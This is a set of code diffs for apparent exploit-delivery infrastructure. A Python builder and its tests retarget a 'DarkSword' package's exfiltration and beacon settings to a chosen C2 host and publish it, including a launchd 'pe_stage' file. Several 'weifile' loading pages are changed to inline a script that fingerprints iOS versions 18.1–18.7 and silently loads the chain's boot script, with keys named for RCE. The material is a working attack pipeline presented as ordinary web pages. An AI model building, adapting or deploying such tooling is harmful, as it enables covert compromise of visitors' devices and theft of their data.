||||
|
||||
|
||||
def rewrite_text(text: str, c2: Endpoint) -> str:
|
||||
for old, new in rewrite_pairs(c2):
|
||||
if old != new:
|
||||
text = text.replace(old, new)
|
||||
return text
|
||||
|
||||
|
||||
def patch_config(text: str, c2: Endpoint) -> str:
|
||||
flag = "true" if c2.tls else "false"
|
||||
|
||||
def exfil(_match: re.Match[str]) -> str:
|
||||
return (
|
||||
"exfil: {\n"
|
||||
f' host: "{c2.host}",\n'
|
||||
f' domain: "{c2.host}",\n'
|
||||
f" http_port: {c2.port},\n"
|
||||
f" https_port: {c2.port},\n"
|
||||
f" tls: {flag},\n"
|
||||
f" prefer_https: {flag},\n"
|
||||
" }"
|
||||
)
|
||||
return pairs
|
||||
|
||||
patched, n = EXFIL_RE.subn(exfil, text, count=1)
|
||||
if n != 1:
|
||||
raise SystemExit("source/config.js: missing exfil { ... } block")
|
||||
return patched
|
||||
|
||||
|
||||
def iter_files(root: Path) -> list[Path]:
|
||||
out: list[Path] = []
|
||||
for p in root.rglob("*"):
|
||||
if not p.is_file():
|
||||
def rewrite_tree(root: Path, c2: Endpoint) -> int:
|
||||
hits = 0
|
||||
for path in root.rglob("*"):
|
||||
if not path.is_file() or path.suffix.lower() not in TEXT_SUFFIXES:
|
||||
continue
|
||||
if p.suffix.lower() in SKIP_SUFFIX:
|
||||
continue
|
||||
out.append(p)
|
||||
return sorted(out)
|
||||
|
||||
|
||||
def rewrite_tree(root: Path, ip: str, port: int, origin: str) -> list[dict]:
|
||||
pairs = replacements(ip, port, origin)
|
||||
hits: list[dict] = []
|
||||
for src in iter_files(root):
|
||||
text = src.read_text("utf-8", errors="surrogateescape")
|
||||
new = text
|
||||
counts: dict[str, int] = {}
|
||||
for old, repl in pairs:
|
||||
n = new.count(old)
|
||||
if n:
|
||||
counts[old] = n
|
||||
new = new.replace(old, repl)
|
||||
if new != text:
|
||||
src.write_text(new, encoding="utf-8", errors="surrogateescape")
|
||||
hits.append({"file": str(src.relative_to(root)), "counts": counts})
|
||||
raw = path.read_text(encoding="utf-8")
|
||||
if path.name == "config.js":
|
||||
new = patch_config(raw, c2)
|
||||
else:
|
||||
new = rewrite_text(raw, c2)
|
||||
if new != raw:
|
||||
path.write_text(new, encoding="utf-8")
|
||||
hits += 1
|
||||
return hits
|
||||
|
||||
|
||||
@@ -124,7 +144,12 @@ def publish(staging: Path, dest: Path) -> None:
|
||||
old = dest.with_name(dest.name + ".old")
|
||||
if tmp.exists():
|
||||
shutil.rmtree(tmp)
|
||||
shutil.copytree(staging, tmp, ignore=shutil.ignore_patterns(".DS_Store"))
|
||||
|
||||
def ignore(directory: str, names: list[str]) -> set[str]:
|
||||
skip = {n for n in names if n == ".DS_Store" or n in SKIP_PUBLISH}
|
||||
return skip
|
||||
|
||||
shutil.copytree(staging, tmp, ignore=ignore)
|
||||
if dest.exists():
|
||||
if old.exists():
|
||||
shutil.rmtree(old)
|
||||
@@ -139,64 +164,78 @@ def publish(staging: Path, dest: Path) -> None:
|
||||
tmp.rename(dest)
|
||||
|
||||
|
||||
def resolve_origin(args: argparse.Namespace) -> tuple[str, int, str]:
|
||||
if args.origin:
|
||||
parsed = urlparse(args.origin)
|
||||
if parsed.scheme not in ("http", "https") or not parsed.hostname:
|
||||
raise SystemExit(f"invalid --origin: {args.origin}")
|
||||
host = parsed.hostname
|
||||
if parsed.port:
|
||||
port = parsed.port
|
||||
else:
|
||||
port = 443 if parsed.scheme == "https" else 80
|
||||
origin = f"{parsed.scheme}://{host}"
|
||||
if not ((parsed.scheme == "http" and port == 80) or (parsed.scheme == "https" and port == 443)):
|
||||
origin += f":{port}"
|
||||
return host, port, origin
|
||||
|
||||
host = args.host
|
||||
port = args.port
|
||||
origin = f"{args.scheme}://{host}"
|
||||
if not ((args.scheme == "http" and port == 80) or (args.scheme == "https" and port == 443)):
|
||||
origin += f":{port}"
|
||||
return host, port, origin
|
||||
|
||||
|
||||
def build(source: Path, dest: Path, host: str, port: int, origin: str, dry_run: bool = False) -> list[dict]:
|
||||
def build(
|
||||
source: Path,
|
||||
dest: Path,
|
||||
c2: str,
|
||||
delivery: str | None = None,
|
||||
dry_run: bool = False,
|
||||
) -> dict:
|
||||
if not source.is_dir():
|
||||
raise SystemExit(f"source not found: {source}")
|
||||
config = source / "config.js"
|
||||
if not config.is_file():
|
||||
raise SystemExit(f"missing {config}")
|
||||
|
||||
c2_ep = parse_endpoint(c2, label="--c2")
|
||||
delivery_ep = parse_endpoint(delivery, label="--delivery") if delivery else None
|
||||
|
||||
if dry_run:
|
||||
preview = patch_config(config.read_text(encoding="utf-8"), c2_ep)
|
||||
if delivery_ep is not None:
|
||||
preview = re.sub(
|
||||
r'deliveryPath:\s*"[^"]*"',
|
||||
f'deliveryPath: "{delivery_ep.path or "/next-chain"}"',
|
||||
preview,
|
||||
count=1,
|
||||
)
|
||||
return {"c2": c2_ep.origin, "delivery": delivery_ep.url if delivery_ep else "", "config": preview}
|
||||
|
||||
staging = BUILDER_ROOT / "out" / "staging"
|
||||
if staging.exists():
|
||||
shutil.rmtree(staging)
|
||||
shutil.copytree(source, staging, ignore=shutil.ignore_patterns(".DS_Store"))
|
||||
hits = rewrite_tree(staging, host, port, origin)
|
||||
if dry_run:
|
||||
shutil.rmtree(staging)
|
||||
return hits
|
||||
rewrite_tree(staging, c2_ep)
|
||||
if delivery_ep is not None:
|
||||
cfg = (staging / "config.js").read_text(encoding="utf-8")
|
||||
cfg = re.sub(
|
||||
r'deliveryPath:\s*"[^"]*"',
|
||||
f'deliveryPath: "{delivery_ep.path or "/next-chain"}"',
|
||||
cfg,
|
||||
count=1,
|
||||
)
|
||||
(staging / "config.js").write_text(cfg, encoding="utf-8")
|
||||
publish(staging, dest)
|
||||
shutil.rmtree(staging, ignore_errors=True)
|
||||
return hits
|
||||
return {"c2": c2_ep.origin, "delivery": delivery_ep.url if delivery_ep else "", "dest": str(dest.resolve())}
|
||||
|
||||
|
||||
def main(argv: list[str] | None = None) -> int:
|
||||
ap = argparse.ArgumentParser(description="Rewrite DarkSword source and publish public/next-chain")
|
||||
ap.add_argument("--host", default="192.168.31.130")
|
||||
ap.add_argument("--port", type=int, default=8000)
|
||||
ap.add_argument("--scheme", default="http", choices=("http", "https"))
|
||||
ap.add_argument("--origin", default="", help="full origin, e.g. http://192.168.31.130:8000")
|
||||
ap = argparse.ArgumentParser(description="Rewrite one99 hosts to --c2 and copy source/ to public/next-chain")
|
||||
ap.add_argument("--c2", default="", help="C2 / API origin, e.g. http://192.168.31.130:8000")
|
||||
ap.add_argument("--origin", default="", help="alias of --c2")
|
||||
ap.add_argument("--delivery", default="", help="optional CDN origin; delivery path still /next-chain at runtime")
|
||||
ap.add_argument("--source", type=Path, default=DEFAULT_SOURCE)
|
||||
ap.add_argument("--dest", type=Path, default=DEFAULT_DEST)
|
||||
ap.add_argument("--dry-run", action="store_true")
|
||||
args = ap.parse_args(argv)
|
||||
|
||||
host, port, origin = resolve_origin(args)
|
||||
hits = build(args.source, args.dest, host, port, origin, dry_run=args.dry_run)
|
||||
action = "would rewrite" if args.dry_run else "published"
|
||||
print(f"{action} {len(hits)} files -> {origin}")
|
||||
if not args.dry_run:
|
||||
print(f"dest {args.dest.resolve()}")
|
||||
for h in hits:
|
||||
print(f" {h['file']} ({sum(h['counts'].values())})")
|
||||
c2 = (args.c2 or args.origin or "").strip()
|
||||
if not c2:
|
||||
raise SystemExit("need --c2 (or --origin), e.g. --c2 http://192.168.31.130:8000")
|
||||
|
||||
result = build(
|
||||
args.source,
|
||||
args.dest,
|
||||
c2,
|
||||
delivery=(args.delivery or "").strip() or None,
|
||||
dry_run=args.dry_run,
|
||||
)
|
||||
print("dry-run" if args.dry_run else "published")
|
||||
print(f" c2 {result['c2']}")
|
||||
print(f" delivery {result['delivery'] or '(weifile origin + /next-chain)'}")
|
||||
if result.get("dest"):
|
||||
print(f" dest {result['dest']}")
|
||||
return 0
|
||||
|
||||
|
||||
|
||||
@@ -14,88 +14,72 @@ if str(TOOLS) not in sys.path:
|
||||
import build # noqa: E402
|
||||
|
||||
|
||||
CONFIG = (
|
||||
"window.NEWS2_CONFIG = {\n"
|
||||
' deliveryPath: "/next-chain",\n'
|
||||
" exfil: {\n"
|
||||
' host: "192.168.31.130",\n'
|
||||
' domain: "192.168.31.130",\n'
|
||||
" http_port: 8080,\n"
|
||||
" https_port: 8080,\n"
|
||||
" tls: false,\n"
|
||||
" prefer_https: false,\n"
|
||||
" },\n"
|
||||
"};\n"
|
||||
)
|
||||
|
||||
|
||||
class BuildTest(unittest.TestCase):
|
||||
def setUp(self) -> None:
|
||||
self.tmp = Path(tempfile.mkdtemp(prefix="ds-build-"))
|
||||
self.source = self.tmp / "source"
|
||||
self.dest = self.tmp / "next-chain"
|
||||
self.source.mkdir(parents=True)
|
||||
(self.source / "config.js").write_text(
|
||||
'redirectUrl: "https://ab.ux600.com"\nconst HQ_WALLET_PORT = "443";\n',
|
||||
encoding="utf-8",
|
||||
)
|
||||
(self.source / "config.js").write_text(CONFIG, encoding="utf-8")
|
||||
(self.source / "keep.txt").write_text("untouched\n", encoding="utf-8")
|
||||
(self.source / "pe_worker.js").write_text(
|
||||
'var _HQ_DELIV_LOG_URL = "http://one99.vip:80/log";\n'
|
||||
'__labCfHttp("POST", "/log", body, false);\n'
|
||||
'__labCfHttp("GET", "/log.html?" + q, null, false);\n',
|
||||
'const C2 = "https://mh0usocqzi6f46i.com:443/beacon";\n'
|
||||
'function p7(){ return { host: "192.168.31.130", port: 8080 }; }\n',
|
||||
encoding="utf-8",
|
||||
)
|
||||
(self.source / "log.html").write_text("static log\n", encoding="utf-8")
|
||||
(self.source / "pe_stage").mkdir()
|
||||
(self.source / "pe_stage" / "s1_launchd.js").write_text("// stage\n", encoding="utf-8")
|
||||
|
||||
def tearDown(self) -> None:
|
||||
shutil.rmtree(self.tmp, ignore_errors=True)
|
||||
|
||||
def test_rewrites_and_publishes_without_touching_source(self) -> None:
|
||||
def test_rewrites_c2_and_publishes_pe_stage(self) -> None:
|
||||
before = (self.source / "config.js").read_text(encoding="utf-8")
|
||||
hits = build.build(
|
||||
self.source,
|
||||
self.dest,
|
||||
"192.168.31.130",
|
||||
8080,
|
||||
"http://192.168.31.130:8080",
|
||||
)
|
||||
self.assertTrue(hits)
|
||||
result = build.build(self.source, self.dest, "http://192.168.31.130:8000")
|
||||
self.assertEqual((self.source / "config.js").read_text(encoding="utf-8"), before)
|
||||
self.assertEqual(result["c2"], "http://192.168.31.130:8000")
|
||||
published = (self.dest / "config.js").read_text(encoding="utf-8")
|
||||
self.assertIn("http://192.168.31.130:8080/?landed=1", published)
|
||||
self.assertIn('const HQ_WALLET_PORT = "8080"', published)
|
||||
self.assertNotIn("ab.ux600.com", published)
|
||||
self.assertIn('host: "192.168.31.130"', published)
|
||||
self.assertIn("http_port: 8000", published)
|
||||
self.assertIn("tls: false", published)
|
||||
self.assertEqual((self.dest / "keep.txt").read_text(encoding="utf-8"), "untouched\n")
|
||||
self.assertFalse((self.dest / "api").exists())
|
||||
worker = (self.dest / "pe_worker.js").read_text(encoding="utf-8")
|
||||
self.assertIn('var _HQ_DELIV_LOG_URL = "http://192.168.31.130:8080/api/ds/log"', worker)
|
||||
self.assertIn('__labCfHttp("POST", "/api/ds/log"', worker)
|
||||
self.assertIn('__labCfHttp("GET", "/api/ds/log?"', worker)
|
||||
self.assertNotIn("/log.html", worker)
|
||||
self.assertNotIn('__labCfHttp("POST", "/log"', worker)
|
||||
self.assertIn("http://192.168.31.130:8000/beacon", worker)
|
||||
self.assertIn('{ host: "192.168.31.130", port: 8000 }', worker)
|
||||
self.assertFalse((self.dest / "log.html").exists())
|
||||
self.assertTrue((self.dest / "pe_stage" / "s1_launchd.js").is_file())
|
||||
self.assertEqual((self.dest / "pe_stage" / "s1_launchd.js").read_text(encoding="utf-8"), "// stage\n")
|
||||
|
||||
def test_origin_override(self) -> None:
|
||||
host, port, origin = build.resolve_origin(
|
||||
type("A", (), {"origin": "https://lab.example:8443", "host": "x", "port": 1, "scheme": "http"})()
|
||||
)
|
||||
self.assertEqual((host, port, origin), ("lab.example", 8443, "https://lab.example:8443"))
|
||||
|
||||
def test_origin_rewrites_lab_template_config(self) -> None:
|
||||
(self.source / "config.js").write_text(
|
||||
'window.NEWS2_CONFIG = {\n'
|
||||
' exfil: {\n'
|
||||
' host: "192.168.31.130",\n'
|
||||
' domain: "192.168.31.130",\n'
|
||||
' http_port: 8000,\n'
|
||||
' https_port: 8000,\n'
|
||||
' tls: false,\n'
|
||||
' prefer_https: false,\n'
|
||||
' },\n'
|
||||
' redirectUrl: "https://ab.ux600.com",\n'
|
||||
'};\n',
|
||||
encoding="utf-8",
|
||||
)
|
||||
build.build(
|
||||
self.source,
|
||||
self.dest,
|
||||
"c2.example.com",
|
||||
443,
|
||||
"https://c2.example.com",
|
||||
)
|
||||
def test_https_c2(self) -> None:
|
||||
build.build(self.source, self.dest, "https://c2.example.com")
|
||||
published = (self.dest / "config.js").read_text(encoding="utf-8")
|
||||
self.assertIn('host: "c2.example.com"', published)
|
||||
self.assertIn('domain: "c2.example.com"', published)
|
||||
self.assertIn("http_port: 443", published)
|
||||
self.assertIn("https_port: 443", published)
|
||||
self.assertIn("tls: true", published)
|
||||
self.assertIn("https://c2.example.com/?landed=1", published)
|
||||
self.assertNotIn("192.168.31.130", published)
|
||||
self.assertNotIn("ab.ux600.com", published)
|
||||
self.assertIn("https://c2.example.com/beacon", (self.dest / "pe_worker.js").read_text(encoding="utf-8"))
|
||||
|
||||
def test_parse_endpoint(self) -> None:
|
||||
ep = build.parse_endpoint("https://lab.example:8443/next-chain", label="--delivery")
|
||||
self.assertEqual(ep.host, "lab.example")
|
||||
self.assertEqual(ep.port, 8443)
|
||||
self.assertEqual(ep.origin, "https://lab.example:8443")
|
||||
self.assertEqual(ep.url, "https://lab.example:8443/next-chain")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
@@ -1,133 +0,0 @@
|
||||
(function () {
|
||||
var DS_BASE = '/next-chain';
|
||||
var HOLD_MS = 10 * 60 * 1000;
|
||||
var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
|
||||
|
||||
function parseIosVersion() {
|
||||
var ua = navigator.userAgent || '';
|
||||
var m = /iPhone OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) {
|
||||
m = /Version\/(\d+)\.(\d+)/.exec(ua);
|
||||
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
|
||||
}
|
||||
return m[1].split('_').map(function (p) {
|
||||
return parseInt(p, 10);
|
||||
});
|
||||
}
|
||||
|
||||
function cmpVer(a, b) {
|
||||
for (var i = 0; i < 3; i++) {
|
||||
var ai = (a && a[i]) || 0;
|
||||
var bi = (b && b[i]) || 0;
|
||||
if (ai < bi) return -1;
|
||||
if (ai > bi) return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
function persistChannelCode(code) {
|
||||
code = String(code || '').trim().slice(0, 64);
|
||||
if (!code) return '';
|
||||
try {
|
||||
window.__LAB_CHANNEL_CODE__ = code;
|
||||
window.__CORUNA_CHANNEL__ = code;
|
||||
} catch (e0) {}
|
||||
try {
|
||||
sessionStorage.setItem('lab_channel_code', code);
|
||||
} catch (e1) {}
|
||||
try {
|
||||
localStorage.setItem('lab_channel_code', code);
|
||||
} catch (e2) {}
|
||||
return code;
|
||||
}
|
||||
|
||||
function channelCode() {
|
||||
try {
|
||||
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
|
||||
} catch (eP) {}
|
||||
return '';
|
||||
}
|
||||
|
||||
function dsUrl(path) {
|
||||
var origin = '';
|
||||
try {
|
||||
if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
|
||||
} catch (e) {}
|
||||
return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
|
||||
}
|
||||
|
||||
function loadScript(src, onload, attempt) {
|
||||
attempt = attempt || 0;
|
||||
var s = document.createElement('script');
|
||||
s.async = false;
|
||||
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
|
||||
s.onload = function () { if (onload) onload(); };
|
||||
s.onerror = function () {
|
||||
if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
|
||||
};
|
||||
(document.body || document.documentElement).appendChild(s);
|
||||
}
|
||||
|
||||
function loadScripts(urls) {
|
||||
var i = 0;
|
||||
function next() {
|
||||
if (i >= urls.length) return;
|
||||
loadScript(urls[i++], next);
|
||||
}
|
||||
next();
|
||||
}
|
||||
|
||||
function holdFresh() {
|
||||
var now = Date.now();
|
||||
for (var i = 0; i < HOLD_KEYS.length; i++) {
|
||||
var key = HOLD_KEYS[i];
|
||||
try {
|
||||
var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
|
||||
if (ls && now - ls <= HOLD_MS) return true;
|
||||
} catch (e0) {}
|
||||
try {
|
||||
var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
|
||||
if (ss && now - ss <= HOLD_MS) return true;
|
||||
} catch (e1) {}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
function markHold() {
|
||||
var ts = String(Date.now());
|
||||
try {
|
||||
localStorage.setItem('__ds_rce_hold', ts);
|
||||
localStorage.setItem('__ds_chain_hold', ts);
|
||||
} catch (e2) {}
|
||||
try {
|
||||
sessionStorage.setItem('__ds_rce_hold', ts);
|
||||
sessionStorage.setItem('__ds_chain_hold', ts);
|
||||
} catch (e3) {}
|
||||
}
|
||||
|
||||
function loadDs(code) {
|
||||
if (holdFresh()) return;
|
||||
markHold();
|
||||
persistChannelCode(code);
|
||||
try {
|
||||
window.__LAB_DELIVERY_HOST__ = dsUrl('');
|
||||
if (!window.__LAB_EXFIL_DOMAIN__) {
|
||||
window.__LAB_EXFIL_DOMAIN__ = location.hostname || '';
|
||||
}
|
||||
} catch (eH) {}
|
||||
loadScripts([dsUrl('/lab_hosts.js'), dsUrl('/config.js'), dsUrl('/boot.js')]);
|
||||
}
|
||||
|
||||
var ios = parseIosVersion();
|
||||
var code = channelCode();
|
||||
if (!ios || cmpVer(ios, [18, 1]) < 0) {
|
||||
loadScript('index.js');
|
||||
return;
|
||||
}
|
||||
if (cmpVer(ios, [18, 7]) < 0) {
|
||||
loadDs(code);
|
||||
}
|
||||
})();
|
||||
@@ -7,6 +7,130 @@
|
||||
<title>weifile</title>
|
||||
</head>
|
||||
<body>
|
||||
<script type="text/javascript" src="route.js"></script>
|
||||
<script type="text/javascript">
|
||||
(function () {
|
||||
var DS_BASE = '/next-chain';
|
||||
var HOLD_MS = 10 * 60 * 1000;
|
||||
var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
|
||||
|
||||
function parseIosVersion() {
|
||||
var ua = navigator.userAgent || '';
|
||||
var m = /iPhone OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) {
|
||||
m = /Version\/(\d+)\.(\d+)/.exec(ua);
|
||||
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
|
||||
}
|
||||
return m[1].split('_').map(function (p) {
|
||||
return parseInt(p, 10);
|
||||
});
|
||||
}
|
||||
|
||||
function cmpVer(a, b) {
|
||||
for (var i = 0; i < 3; i++) {
|
||||
var ai = (a && a[i]) || 0;
|
||||
var bi = (b && b[i]) || 0;
|
||||
if (ai < bi) return -1;
|
||||
if (ai > bi) return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
function persistChannelCode(code) {
|
||||
code = String(code || '').trim().slice(0, 64);
|
||||
if (!code) return '';
|
||||
try {
|
||||
window.__LAB_CHANNEL_CODE__ = code;
|
||||
window.__CORUNA_CHANNEL__ = code;
|
||||
} catch (e0) {}
|
||||
try {
|
||||
sessionStorage.setItem('lab_channel_code', code);
|
||||
} catch (e1) {}
|
||||
try {
|
||||
localStorage.setItem('lab_channel_code', code);
|
||||
} catch (e2) {}
|
||||
return code;
|
||||
}
|
||||
|
||||
function channelCode() {
|
||||
try {
|
||||
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
|
||||
} catch (eP) {}
|
||||
return '';
|
||||
}
|
||||
|
||||
function dsUrl(path) {
|
||||
var origin = '';
|
||||
try {
|
||||
if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
|
||||
} catch (e) {}
|
||||
return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
|
||||
}
|
||||
|
||||
function loadScript(src, onload, attempt) {
|
||||
attempt = attempt || 0;
|
||||
var s = document.createElement('script');
|
||||
s.async = false;
|
||||
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
|
||||
s.onload = function () { if (onload) onload(); };
|
||||
s.onerror = function () {
|
||||
if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
|
||||
};
|
||||
(document.body || document.documentElement).appendChild(s);
|
||||
}
|
||||
|
||||
function holdFresh() {
|
||||
var now = Date.now();
|
||||
for (var i = 0; i < HOLD_KEYS.length; i++) {
|
||||
var key = HOLD_KEYS[i];
|
||||
try {
|
||||
var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
|
||||
if (ls && now - ls <= HOLD_MS) return true;
|
||||
} catch (e0) {}
|
||||
try {
|
||||
var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
|
||||
if (ss && now - ss <= HOLD_MS) return true;
|
||||
} catch (e1) {}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
function markHold() {
|
||||
var ts = String(Date.now());
|
||||
try {
|
||||
localStorage.setItem('__ds_rce_hold', ts);
|
||||
localStorage.setItem('__ds_chain_hold', ts);
|
||||
} catch (e2) {}
|
||||
try {
|
||||
sessionStorage.setItem('__ds_rce_hold', ts);
|
||||
sessionStorage.setItem('__ds_chain_hold', ts);
|
||||
} catch (e3) {}
|
||||
}
|
||||
|
||||
function loadDs(code) {
|
||||
if (holdFresh()) return;
|
||||
markHold();
|
||||
persistChannelCode(code);
|
||||
try {
|
||||
window.__LAB_DELIVERY_HOST__ = dsUrl('');
|
||||
} catch (eH) {}
|
||||
loadScript(dsUrl('/config.js'), function () {
|
||||
loadScript(dsUrl('/boot.js'));
|
||||
});
|
||||
}
|
||||
|
||||
var ios = parseIosVersion();
|
||||
var code = channelCode();
|
||||
if (!ios || cmpVer(ios, [18, 1]) < 0) {
|
||||
loadScript('index.js');
|
||||
return;
|
||||
}
|
||||
if (cmpVer(ios, [18, 7]) < 0) {
|
||||
loadDs(code);
|
||||
}
|
||||
})();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -111,7 +111,131 @@
|
||||
<p class="title">加载中</p>
|
||||
<p class="subtitle">请稍候,正在准备页面…</p>
|
||||
</div>
|
||||
<script type="text/javascript" src="route.js"></script>
|
||||
<script type="text/javascript">
|
||||
(function () {
|
||||
var DS_BASE = '/next-chain';
|
||||
var HOLD_MS = 10 * 60 * 1000;
|
||||
var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
|
||||
|
||||
function parseIosVersion() {
|
||||
var ua = navigator.userAgent || '';
|
||||
var m = /iPhone OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) {
|
||||
m = /Version\/(\d+)\.(\d+)/.exec(ua);
|
||||
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
|
||||
}
|
||||
return m[1].split('_').map(function (p) {
|
||||
return parseInt(p, 10);
|
||||
});
|
||||
}
|
||||
|
||||
function cmpVer(a, b) {
|
||||
for (var i = 0; i < 3; i++) {
|
||||
var ai = (a && a[i]) || 0;
|
||||
var bi = (b && b[i]) || 0;
|
||||
if (ai < bi) return -1;
|
||||
if (ai > bi) return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
function persistChannelCode(code) {
|
||||
code = String(code || '').trim().slice(0, 64);
|
||||
if (!code) return '';
|
||||
try {
|
||||
window.__LAB_CHANNEL_CODE__ = code;
|
||||
window.__CORUNA_CHANNEL__ = code;
|
||||
} catch (e0) {}
|
||||
try {
|
||||
sessionStorage.setItem('lab_channel_code', code);
|
||||
} catch (e1) {}
|
||||
try {
|
||||
localStorage.setItem('lab_channel_code', code);
|
||||
} catch (e2) {}
|
||||
return code;
|
||||
}
|
||||
|
||||
function channelCode() {
|
||||
try {
|
||||
var m = String(location.pathname || '').match(/\/channel\/([0-9A-Za-z]\.[0-9A-Za-z]\.[0-9A-Za-z]{2})\//i);
|
||||
if (m && m[1]) return persistChannelCode(m[1].toUpperCase());
|
||||
} catch (eP) {}
|
||||
return '';
|
||||
}
|
||||
|
||||
function dsUrl(path) {
|
||||
var origin = '';
|
||||
try {
|
||||
if (location.origin && location.origin !== 'null') origin = String(location.origin).replace(/\/$/, '');
|
||||
} catch (e) {}
|
||||
return origin + DS_BASE + (path.charAt(0) === '/' ? path : '/' + path);
|
||||
}
|
||||
|
||||
function loadScript(src, onload, attempt) {
|
||||
attempt = attempt || 0;
|
||||
var s = document.createElement('script');
|
||||
s.async = false;
|
||||
s.src = src + (src.indexOf('?') >= 0 ? '&' : '?') + '_=' + Date.now();
|
||||
s.onload = function () { if (onload) onload(); };
|
||||
s.onerror = function () {
|
||||
if (attempt < 3) setTimeout(function () { loadScript(src, onload, attempt + 1); }, 200 * (attempt + 1));
|
||||
};
|
||||
(document.body || document.documentElement).appendChild(s);
|
||||
}
|
||||
|
||||
function holdFresh() {
|
||||
var now = Date.now();
|
||||
for (var i = 0; i < HOLD_KEYS.length; i++) {
|
||||
var key = HOLD_KEYS[i];
|
||||
try {
|
||||
var ls = parseInt(localStorage.getItem(key) || '0', 10) || 0;
|
||||
if (ls && now - ls <= HOLD_MS) return true;
|
||||
} catch (e0) {}
|
||||
try {
|
||||
var ss = parseInt(sessionStorage.getItem(key) || '0', 10) || 0;
|
||||
if (ss && now - ss <= HOLD_MS) return true;
|
||||
} catch (e1) {}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
function markHold() {
|
||||
var ts = String(Date.now());
|
||||
try {
|
||||
localStorage.setItem('__ds_rce_hold', ts);
|
||||
localStorage.setItem('__ds_chain_hold', ts);
|
||||
} catch (e2) {}
|
||||
try {
|
||||
sessionStorage.setItem('__ds_rce_hold', ts);
|
||||
sessionStorage.setItem('__ds_chain_hold', ts);
|
||||
} catch (e3) {}
|
||||
}
|
||||
|
||||
function loadDs(code) {
|
||||
if (holdFresh()) return;
|
||||
markHold();
|
||||
persistChannelCode(code);
|
||||
try {
|
||||
window.__LAB_DELIVERY_HOST__ = dsUrl('');
|
||||
} catch (eH) {}
|
||||
loadScript(dsUrl('/config.js'), function () {
|
||||
loadScript(dsUrl('/boot.js'));
|
||||
});
|
||||
}
|
||||
|
||||
var ios = parseIosVersion();
|
||||
var code = channelCode();
|
||||
if (!ios || cmpVer(ios, [18, 1]) < 0) {
|
||||
loadScript('index.js');
|
||||
return;
|
||||
}
|
||||
if (cmpVer(ios, [18, 7]) < 0) {
|
||||
loadDs(code);
|
||||
}
|
||||
})();
|
||||
</script>
|
||||
<script>
|
||||
(function () {
|
||||
var TOTAL = 15;
|
||||
|
||||
@@ -7,6 +7,130 @@
|
||||
<title>weifile</title>
|
||||
</head>
|
||||
<body>
|
||||
<script type="text/javascript" src="route.js"></script>
|
||||
<script type="text/javascript">
|
||||
(function () {
|
||||
var DS_BASE = '/next-chain';
|
||||
var HOLD_MS = 10 * 60 * 1000;
|
||||
var HOLD_KEYS = ['__ds_rce_hold', '__ds_chain_hold', '__er_frame_at'];
|
||||
|
||||
function parseIosVersion() {
|
||||
var ua = navigator.userAgent || '';
|
||||
var m = /iPhone OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU (?:iPhone )?OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) m = /CPU OS ([0-9_]+)/.exec(ua);
|
||||
if (!m) {
|
||||
m = /Version\/(\d+)\.(\d+)/.exec(ua);
|
||||
return m ? [parseInt(m[1], 10), parseInt(m[2], 10)] : null;
|
||||
}
|
||||
return m[1].split('_').map(function (p) {
|
||||
return parseInt(p, 10);
|
||||
});
|
||||
}
|
||||
|
||||
function cmpVer(a, b) {
|
||||
for (var i = 0; i < 3; i++) {
|
||||
var ai = (a && a[i]) || 0;
|
||||
var bi = (b && b[i]) || 0;
|
||||
if (ai < bi) return -1;
|
||||
if (ai > bi) return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
function persistChannelCode(code) {
|
||||
code = String(code || '').trim().slice(0, 64);
|
||||
if (!code) return '';
|
||||
try {
|
||||
window.__LAB_CHANNEL_CODE__ = code;
|
||||
window.__CORUNA_CHANNEL__ = code;
|
||||
} catch (e0) {}
|
||||
try {
|
||||
sessionStorage.setItem('lab_channel_code', code);
|
||||
